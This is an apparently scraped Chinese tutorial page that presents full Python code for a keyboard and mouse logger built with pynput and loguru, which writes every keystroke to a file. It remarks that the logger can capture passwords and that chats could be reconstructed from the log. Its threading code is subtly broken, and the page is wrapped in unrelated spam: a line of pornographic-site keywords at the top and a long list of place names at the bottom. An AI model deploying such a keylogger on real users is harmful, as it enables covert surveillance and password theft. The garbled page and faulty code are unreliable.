最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

利用Python寫個摸魚監(jiān)控進程

 更新時間:2022年02月21日 14:18:28   作者:Python?技術(shù)  
繼打游戲、看視頻等摸魚行為被監(jiān)控后,現(xiàn)在打工人離職的傾向也會被監(jiān)控。今天就帶大家領(lǐng)略一下怎么寫幾行Python代碼,就能監(jiān)控電腦,感興趣的可以學習一下

繼打游戲、看視頻等摸魚行為被監(jiān)控后,現(xiàn)在打工人離職的傾向也會被監(jiān)控。

有網(wǎng)友爆料稱知乎正在低調(diào)裁員,視頻相關(guān)部門幾乎要裁掉一半。而在知乎裁員的討論區(qū),有網(wǎng)友表示企業(yè)安裝了行為感知系統(tǒng),該系統(tǒng)可以提前獲知員工跳槽念頭。

而知乎在否認了裁員計劃的同時,也聲明從未安裝使用過網(wǎng)上所說的行為感知系統(tǒng),今后也不會啟用類似軟件工具。

因為此事,深信服被推上風口浪尖,輿論關(guān)注度越來越高。

一時間,“打工人太難了”“毫無隱私可言”的討論層出不窮。

今天就帶大家領(lǐng)略一下怎么寫幾行 Python 代碼,就能監(jiān)控電腦。

監(jiān)控鍵盤

如果公司偷偷在我們的電腦上運行了一個后臺進程,來監(jiān)控我們的鍵盤事件,最簡單的 python 寫法大致是這樣的:

from pynput import keyboard
 
def on_press(key):
    print(f'{key} :pushed')
 
 
def on_release(key):
    if key == keyboard.Key.esc:
        return False
 
 
with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
    lsn.join()

隨意敲擊鍵盤,你就會從控制臺看到這樣的輸出:

代碼內(nèi)容就是兩個方法,一個是監(jiān)聽按鍵事件,另一個是監(jiān)聽退出事件——敲擊 ESC 按鍵后釋放就退出了。

監(jiān)控鼠標

如果還要監(jiān)聽鼠標事件,那么上這段代碼就行了:

from pynput import mouse
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        print('left was pressed!')
    elif button == mouse.Button.right:
        print('right was pressed!')
        return False
    else:
        print('mid was pressed!')
 
 
# 定義鼠標監(jiān)聽線程
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

這段代碼主要是監(jiān)聽鼠標的左右鍵點擊操作,運行之后操作鼠標,就可以看到控制臺打印如下結(jié)果:

細心的你一定會發(fā)現(xiàn),每次點擊事件,都打印了兩次。這是因為按下和松開都會觸發(fā)鼠標事件。

記錄監(jiān)控日志

鍵盤事件和鼠標事件都有了,是時候?qū)⒍呓Y(jié)合起來,把用戶的操作記錄到日志了。這里我們用 loguru 來記錄日志,這個 python 模塊我們之前的文章也講過。

整個代碼如下:

from pynput import keyboard, mouse
from loguru import logger
from threading import Thread
 
# 定義日志文件
logger.add('moyu.log')
 
 
def on_press(key):
    logger.debug(f'{key} :pushed')
 
 
def on_release(key):
    if key == keyboard.Key.esc:
        return False
 
 
# 定義鍵盤監(jiān)聽線程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()
 
 
def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
    else:
        return False
 
 
# 定義鼠標監(jiān)聽線程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()
 
 
if __name__ == '__main__':
    # 起兩個線程分別監(jiān)控鍵盤和鼠標
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

運行之后,你就可以在同級目錄下的日志文件中,看到這樣的內(nèi)容了:

完整代碼

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
@author: 閑歡
"""
from pynput import keyboard, mouse
from loguru import logger
from threading import Thread

# 定義日志文件
logger.add('moyu.log')


def on_press(key):
    logger.debug(f'{key} :pushed')


def on_release(key):
    if key == keyboard.Key.esc:
        return False


# 定義鍵盤監(jiān)聽線程
def press_thread():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()


def on_click(x, y, button, pressed):
    if button == mouse.Button.left:
        logger.debug('left was pressed!')
    elif button == mouse.Button.right:
        logger.debug('right was pressed!')
        return False
    else:
        logger.debug('mid was pressed!')


# 定義鼠標監(jiān)聽線程
def click_thread():
    with mouse.Listener(on_click=on_click) as listener:
        listener.join()


if __name__ == '__main__':
    # 起兩個線程分別監(jiān)控鍵盤和鼠標
    t1 = Thread(target=press_thread())
    t2 = Thread(target=click_thread())
    t1.start()
    t2.start()

總結(jié)

本文主要通過 pynput 這個 python 模塊講解一下怎么記錄鍵盤和鼠標的操作。這幾行簡單的代碼對于監(jiān)控輸入密碼之類的簡單操作可以使用,但是對于聊天記錄之類的復雜語句,你還需要針對日志用 NLTK 語言處理,才能復原你的聊天記錄。

以上就是利用Python寫個摸魚監(jiān)控進程的詳細內(nèi)容,更多關(guān)于Python摸魚監(jiān)控進程的資料請關(guān)注腳本之家其它相關(guān)文章!

相關(guān)文章

  • Python入門之三角函數(shù)atan2()函數(shù)詳解

    Python入門之三角函數(shù)atan2()函數(shù)詳解

    這篇文章主要介紹了Python入門之三角函數(shù)atan2()函數(shù)詳解,分享了其實例,具有一定參考價值,需要的朋友可以了解下。
    2017-11-11
  • Python生成器定義與簡單用法實例分析

    Python生成器定義與簡單用法實例分析

    這篇文章主要介紹了Python生成器定義與簡單用法,結(jié)合實例形式較為詳細的分析了Python生成器的概念、原理、使用方法及相關(guān)操作注意事項,需要的朋友可以參考下
    2018-04-04
  • Python登錄接口如何獲取token并保存到文件中

    Python登錄接口如何獲取token并保存到文件中

    這篇文章主要介紹了Python登錄接口如何獲取token并保存到文件中問題,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2023-08-08
  • Python隨機采樣及概率分布(二)

    Python隨機采樣及概率分布(二)

    之前的《Python中的隨機采樣和概率分布我們介紹了Python中最簡單的隨機采樣函數(shù)。接下來我們更進一步,來看看如何從一個概率分布中采樣,我們以幾個機器學習中最常用的概率分布為例。
    2022-01-01
  • python函數(shù)定義和調(diào)用過程詳解

    python函數(shù)定義和調(diào)用過程詳解

    這篇文章主要介紹了python函數(shù)定義和調(diào)用過程詳解,文中通過示例代碼介紹的非常詳細,對大家的學習或者工作具有一定的參考學習價值,需要的朋友可以參考下
    2020-02-02
  • Python+OpenCV實現(xiàn)圖片及視頻中選定區(qū)域顏色識別

    Python+OpenCV實現(xiàn)圖片及視頻中選定區(qū)域顏色識別

    這篇文章主要為大家詳細介紹了如何利用Python+OpenCV實現(xiàn)圖片及視頻中選定區(qū)域顏色識別功能,文中的示例代碼講解詳細,感興趣的可以了解一下
    2022-07-07
  • 詳解Python遍歷字典的鍵和值

    詳解Python遍歷字典的鍵和值

    這篇文章主要通過一些簡單的示例為大家介紹一下Python中遍歷字典的鍵和值的相關(guān)知識,文中的示例代碼講解詳細,感興趣的小伙伴可以了解一下
    2023-03-03
  • 對python PLT中的image和skimage處理圖片方法詳解

    對python PLT中的image和skimage處理圖片方法詳解

    今天小編就為大家分享一篇對python PLT中的image和skimage處理圖片方法詳解,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2019-01-01
  • 解決pip install psycopg2出錯問題

    解決pip install psycopg2出錯問題

    這篇文章主要介紹了解決pip install psycopg2出錯問題。具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2020-07-07
  • Python 如何用一行代碼實現(xiàn)for循環(huán)初始化數(shù)組

    Python 如何用一行代碼實現(xiàn)for循環(huán)初始化數(shù)組

    這篇文章主要介紹了Python 用一行代碼實現(xiàn)for循環(huán)初始化數(shù)組的操作,具有很好的參考價值,希望對大家有所幫助。一起跟隨小編過來看看吧
    2021-03-03

最新評論

桃园市| 游戏| 日喀则市| 平阳县| 田林县| 九江县| 淮安市| 社会| 元谋县| 永州市| 宁城县| 米林县| 屏山县| 汤原县| 贵德县| 安远县| 衡水市| 江门市| 土默特右旗| 界首市| 农安县| 开江县| 静海县| 利津县| 剑川县| 兴安盟| 茌平县| 靖江市| 临湘市| 玛纳斯县| 信宜市| 广河县| 远安县| 丹巴县| 富蕴县| 临汾市| 绥中县| 宜春市| 河南省| 永州市| 郸城县|